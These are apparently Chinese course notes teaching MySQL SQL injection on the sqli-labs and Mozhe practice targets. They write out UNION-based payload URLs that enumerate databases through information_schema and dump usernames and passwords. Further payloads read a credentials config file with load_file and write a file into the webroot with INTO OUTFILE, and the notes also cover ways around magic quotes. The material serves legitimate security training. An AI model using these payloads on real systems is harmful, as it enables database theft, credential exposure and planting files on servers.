[小迪安全]笔记 day12、13 MySQL注入

1. 简单案例

1.1 简易代码分析SQL注入原理

image.png
http://localhost:8085/sqli-labs/Less-2/index.php?id=2
image.png
id=2 正常查询

http://localhost:8085/sqli-labs/Less-2/index.php?id=-2
image.png
id=-2的话什么都查不出来,表中没有负数的 id。

http://localhost:8085/sqli-labs/Less-2/index.php?id=-2%20union%20select%201,%20email_id,%203%20from%20emails
image.png
用union查询邮箱就查出来了。

问题

image.png
1、2、3、4都可能注入。

image.png
b、c正确。
:::warning
a 注入的是参数 y
d 注入的是 参数 xx
只要 b 和 c 注入参数 x
:::

1.2 Sqlilabs注入靶场搭建简要使用

sqli-labs下载地址: https://github.com/Audi-1/sqli-labs
phpstudy下载地址:https://www.xp.cn/

注意:sqli-labs要在php5.x版本使用,7.x版本不能用,在phpstudy中切换成php5.x的版本。

1.3 墨者靶机真实MYSQL注入演示

如何判断注入点?
老办法:

  • and 1=1页面正常
  • and 1=2 页面错误

那么可能存在注入点。

SELECT * FROM users WHERE id = 1 and 1 = 1 LIMIT 0, 1 正常
SELECT * FROM users WHERE id = 1 and 1 = 2 LIMIT 0, 1 错误

要选用最舒服的方法测试。
新方法:

  1. 猜解列名数量(字段数):用 order by
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 4 正常
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 5 错误

第一个报错的列数是5,那么就有4列。
  1. union注入

union注入前后两条语句字段数相同,不然报错。

http://localhost:8085/sqli-labs/Less-2/index.php?id=1 union select 1, 2, 3, 4 

将id=-1,前面的查询就不会成功
http://localhost:8085/sqli-labs/Less-2/index.php?id=-1 union select 1, 2, 3, 4 

网页显示的数字是就是回显位置 ,1、2、3、4 其中的几个或一个。

信息收集

  • 数据库版本:version()
  • 数据库名字:database()
  • 数据库用户:user()
  • 操作系统:@@version_compile_os
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, version(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, database(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, user(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, @@version_compile_os, 2, 3, 4

image.png

知识点:

  • 在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_schema。它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
  • 数据库中符号“.“代表下一级,如xiao.urer表示xiao数据库下的user表名
information_schema.tables: 记录所有表名信息的表
information_schema.colums: 记录所有列名信息的表

table_name: 表名
colunn_nane: 列名
table_schema: 数据库名

当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。

mysql> use information_schema;
Database changed
mysql> SELECT * FROM SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def          | mysql              | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | information_schema | utf8                       | utf8_general_ci        |     NULL | NO                 |
| def          | performance_schema | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  |
| def          | sys                | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO
  |
  |
| def          | security           | gbk                        | gbk_chinese_ci         |     NULL | NO
  |
| def          | challenges         | gbk                        | gbk_chinese_ci         |     NULL | NO
  |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
6 rows in set (0.00 sec)

所以查出数据库名后,根据数据库名在information_schem数据库中的tables中查表名和在columns中查列名。

查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat (table_name),3,4 from information_schema.tables
where table_schema='mozhe_Discuz_StormGroup'

image.png
查询指定表名stozmGzoup_member下的列名信息:

http://219.153.49.228148354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from
Information_schema.colums where
table_name='StormGroup_member'

image.png
查询指定数据

http://219.153.49.228148354/new_list.php?id=-1 union 
select 1,name,password,4 from StormGroup_member

image.png
猜解多个数据可以采用limit x, 1 变动猜解。

2. 高权限注入及低权限注入

root用户有最高权限,一般用户只有自己管理的数据库权限。

2.1 跨库查询及应用思路

  • 低版本注入配合读取或暴力,用SQLmap 字典或读取
  • 高版本MySQL:information_schema表特性,记录库名,表名,列名对应表。
  1. 获取所有数据库名:
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, schema_name, 3 from information_schema.schemata

image.png
只有一个数据库名,查询语句最后有limit 0, 1,所以只能查一条数据,用group_concat查出所有库名。

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, group_concat(schema_name), 3 from information_schema.schemata

image.png

  1. 获取bookstore数据库的表名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1, group_concat(table_name), 3 from information_schema.tables
where table_schema = 'bookstore'

image.png

  1. 获取user表的列名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union select
1,group_concat(column_name),3 from information_schema.columns
where table_name='user'

image.png

  1. 获取username和password
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1,username,password from bookstore.user where user.id = 3

image.png

2.2 文件读写操作

常见读取文件列表:

  • load_file():读取函数
  • into outfile 或 into dumpfile:导出函数

2.2.2.1 读取操作

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 1,load_file("D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc"),3

image.png
可以看到在查看网页源代码页面中有配置文件内容。

注意:本地MySQL要有文件读写权限。
在MySQL的配置文件my.ini中加上secure_file_priv='',然后重启MySQL服务即可。

2.2.2.2 写入操作

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union 
select 'Hello', 'World', '!' 
into outfile 'D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\hello.php'--+

image.png

image.png
成功写入内容

2.3 路径获取常见方法

  • 报错显示

image.png

  • 遗留文件
  • 漏洞报错
  • 平台配置文件
  • 爆破

2.4 常见写入文件问题

魔术引号开关 magic_quote_gpc

  • 将文件路径和文件名转为HEX,输入进load_file函数括号中。

魔术引号及常见防护

  • 将注入 id 中的 select 等关键字替换成其他字符。